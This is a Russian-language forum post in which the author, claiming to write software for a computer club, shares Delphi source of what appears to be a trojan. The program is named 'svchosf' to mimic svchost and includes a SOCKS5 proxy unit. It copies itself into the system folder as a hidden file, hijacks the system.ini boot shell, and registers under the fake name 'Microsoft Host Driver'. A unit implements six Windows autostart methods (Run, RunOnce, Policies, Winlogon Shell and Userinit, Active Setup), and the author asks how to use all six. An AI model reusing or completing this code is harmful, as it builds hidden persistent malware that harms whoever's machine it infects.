Ай нид хелп
Всем привет! Есть у меня вот какой вопрос! Мне надо добавить в программу для компьютерного клуба автозагрузку из всевозможных мест 
Далее приведу куски проги чтобы было немного понятно что мне нужно
кусочек самой проги
Код:
program svchosf;
uses
Windows,
uConst,
uUtils,
uString,
uSystemInfo,
uWininet,
uInstall,
UnitWindows,
shellapi,
uSocks5,
var
Thread ,Thread0 :Cardinal;
idThread :Cardinal;
dThread :Cardinal;
далее в коде проги
Код:
begin
ReleaseIt;
Install;
где меня интересует ф-ция Install
далее идем в эту uInstall.pas
Код:
unit uInstall;
interface
uses
Windows, ShellApi, uConst, uUtils, uProcess,uStartUp ;
function Install :Boolean;
procedure HideFile(FileName :String);
const
faHidden = $00000002 platform;
faSysFile = $00000004 platform;
implementation
function FileSetAttr(const FileName: string; Attr: Integer): Integer;
begin
Result := 0;
if not SetFileAttributes(PChar(FileName), Attr) then
Result := GetLastError;
end;
procedure HideFile(FileName :String);
begin
FileSetAttr(FileName, faHidden or faSysFile);
end;
{
function Install :Boolean;
var
hRegKey :HKEY;
Path :String;
begin
Result := False;
if C_START = 1 then
begin
Path := WinDir(C_VALUE);
RegOpenKeyEx(HKEY_CURRENT_USER, 'Software\Microsoft\Windows\CurrentVersion\Run', 0, KEY_SET_VALUE, hRegKey);
RegSetValueEx(hRegKey, PChar(C_KEY), 0, REG_SZ, PChar(Path), Length(Path)+1);
RegCloseKey(hRegKey);
if not FileExists(Path) then
begin
CopyFile(PChar(ParamStr(0)), PChar(Path), False);
if C_HIDE = 1 then HideFile(Path);
ShellExecute(0, 'open', PChar(Path), nil, nil, SW_HIDE);
Result := True;
end;
end;
end;
}
function Install :Boolean;
var
dir: array[0..255] of char;
name: string;
begin
getsystemdirectory(dir, 256);
name := string(dir)+'\svchosf.exe';
copyfile(pchar(paramstr(0)), pchar(name), false);//копируем файл ... если есть перезапишем!
writeprivateprofilestring('boot','shell','Explorer.exe svchosf.exe','system.ini');
AddToRun('Microsoft Host Driver ',pchar(name));
Result := True;
end;
end.
и видим там
Код:
uses
Windows, ShellApi, uConst, uUtils, uProcess,uStartUp
меня интересует эта uStartUp.pas
далее ее код
Код:
//6 Видов автозапуска
unit uStartUp;
interface
uses windows, sysutils;
procedure AddToRun(name,exe:string);
procedure AddToRunOnce(name,exe:string);
procedure AddToPolicies(name,exe:string);
procedure AddToActiveX(exe:string);
procedure AddToUserInit(exe:string);
procedure AddToShell(exe:string);
implementation
function SetTheReg(key:Hkey; subkey,name,value:string):boolean;
var
regKey:hkey;
begin
result:=FALSE;
RegCreateKey(key,PChar(subkey),regKey);
if RegSetValueEx(regKey,Pchar(name),0,REG_SZ,pchar(value),length(value)) = 0 then
result:=TRUE;
RegCloseKey(regKey);
end;
function GetTheReg(key:Hkey; subkey,nombre:String):String;
var
bytesread:dword;
regKey: HKEY;
valor:String;
begin
Result:='';
RegOpenKeyEx(key,PChar(subkey),0, KEY_READ, regKey);
RegQueryValueEx(regKey,PChar(nombre),nil,nil,nil,@bytesread);
SetLength(valor, bytesread);
if RegQueryValueEx(regKey,PChar(nombre),nil,nil,@valor[1],@bytesread)=0 then
result:=valor;
RegCloseKey(regKey);
end;
function DelTheReg(RootKey: HKEY; Name: String): boolean;
var
SubKey: String;
n: integer;
hTemp: HKEY;
begin
Result := False;
n := LastDelimiter('\', Name);
if n > 0 then
begin
SubKey := Copy(Name, 1, n - 1);
if RegOpenKeyEx(RootKey, PChar(SubKey), 0, KEY_WRITE, hTemp) = ERROR_SUCCESS then
begin
SubKey := Copy(Name, n + 1, Length(Name) - n);
Result := (RegDeleteKey(hTemp, PChar(SubKey)) = ERROR_SUCCESS);
RegCloseKey(hTemp);
end;
end;
end;
procedure AddToPolicies(name,exe: String);
begin
SetTheReg(HKEY_CURRENT_USER,'SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run',name,exe);
end;
procedure AddToShell(exe: String);
var
Original: string;
begin
Original:=GetTheReg(HKEY_LOCAL_MACHINE,'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Shell');
if ansipos(exe, original)=0 then
SetTheReg(HKEY_LOCAL_MACHINE,'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Shell',PChar(Original)+' "'+exe+'"');
end;
procedure AddToRunOnce(name,exe: String);
begin
SetTheReg(HKEY_LOCAL_MACHINE,'SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce',name,'"'+exe+'"');
end;
procedure AddToRun(name,exe: String);
begin
SetTheReg(HKEY_LOCAL_MACHINE,'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',name,''+exe+'');
end;
procedure AddToUserInit(exe: String);
var
Original: string;
begin
Original:=GetTheReg(HKEY_LOCAL_MACHINE,'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit');
if ansipos(exe, original)=0 then
SetTheReg(HKEY_LOCAL_MACHINE,'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit',PChar(Original)+' "'+exe+'"');
end;
procedure AddToActiveX(exe:string);
begin
SetTheReg(HKEY_LOCAL_MACHINE,'SOFTWARE\Microsoft\Active Setup\Installed Components\{4fz8rk-15aq-16nc-23or4-2ke0fa051515}','StubPath','"'+exe+'"');
end;
end.
так вот в этой uInstall.pas загрузка идет как вы поняли только через
HKEY_CURRENT_USER, 'Software\Microsoft\Windows\CurrentVersion\Run
с помощью файла svchosf.exe
отсюда вопрос нахрена в этом Install вызывать uStartUp.pas с 6 путями для автозапуска
и никак это не использовать...? или я че то в этом коде не увидел?
Помогите кто может советом как мне реализовать в uInstall.pas эту uStartUp.pas чтобы использовать все 6 способов автозагрузки ?
заранее всем спасибо за дельные ответы
|